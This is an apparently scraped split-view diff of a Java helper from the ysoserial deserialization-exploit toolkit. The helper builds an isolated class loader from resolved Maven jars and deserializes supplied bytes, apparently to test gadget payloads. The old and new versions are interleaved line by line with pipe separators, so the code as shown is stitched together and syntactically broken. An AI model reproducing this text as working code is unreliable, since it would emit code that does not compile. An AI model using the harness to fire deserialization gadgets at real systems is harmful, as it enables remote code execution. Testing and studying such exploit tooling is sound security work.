File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0];
|
|
||||||
URL[] urls = new URL[jars.length];
|
|
||||||
for (int i = 0; i < jars.length; i++) {
|
|
||||||
urls[i] = jars[i].toURI().toURL();
|
|
||||||
}
|
|
||||||
|
|
||||||
URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {{
|
private static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies )
|
||||||
for (Class<?> clazz : classDependencies) {
|
throws Exception {
|
||||||
byte[] classAsBytes = ClassFiles.classAsBytes(clazz);
|
File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0];
|
||||||
defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length);
|
URL[] urls = new URL[jars.length];
|
||||||
}
|
for ( int i = 0; i < jars.length; i++ ) {
|
||||||
byte[] deserializerClassBytes = ClassFiles.classAsBytes(ysoserial.Deserializer.class);
|
urls[ i ] = jars[ i ].toURI().toURL();
|
||||||
defineClass(ysoserial.Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
|
}
|
||||||
|
|
||||||
}};
|
URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {
|
||||||
|
|
||||||
Class<?> deserializerClass = isolatedClassLoader.loadClass(ysoserial.Deserializer.class.getName());
|
{
|
||||||
Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[0].newInstance(serialized);
|
for ( Class<?> clazz : classDependencies ) {
|
||||||
final Object obj = deserializer.call();
|
byte[] classAsBytes = ClassFiles.classAsBytes(clazz);
|
||||||
return obj;
|
defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length);
|
||||||
}
|
}
|
||||||
|
byte[] deserializerClassBytes = ClassFiles.classAsBytes(ysoserial.Deserializer.class);
|
||||||
|
defineClass(ysoserial.Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
|
||||||
|
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
Class<?> deserializerClass = isolatedClassLoader.loadClass(ysoserial.Deserializer.class.getName());
|
||||||
|
Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[ 0 ].newInstance(serialized);
|
||||||
|
final Object obj = deserializer.call();
|
||||||
|
return obj;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user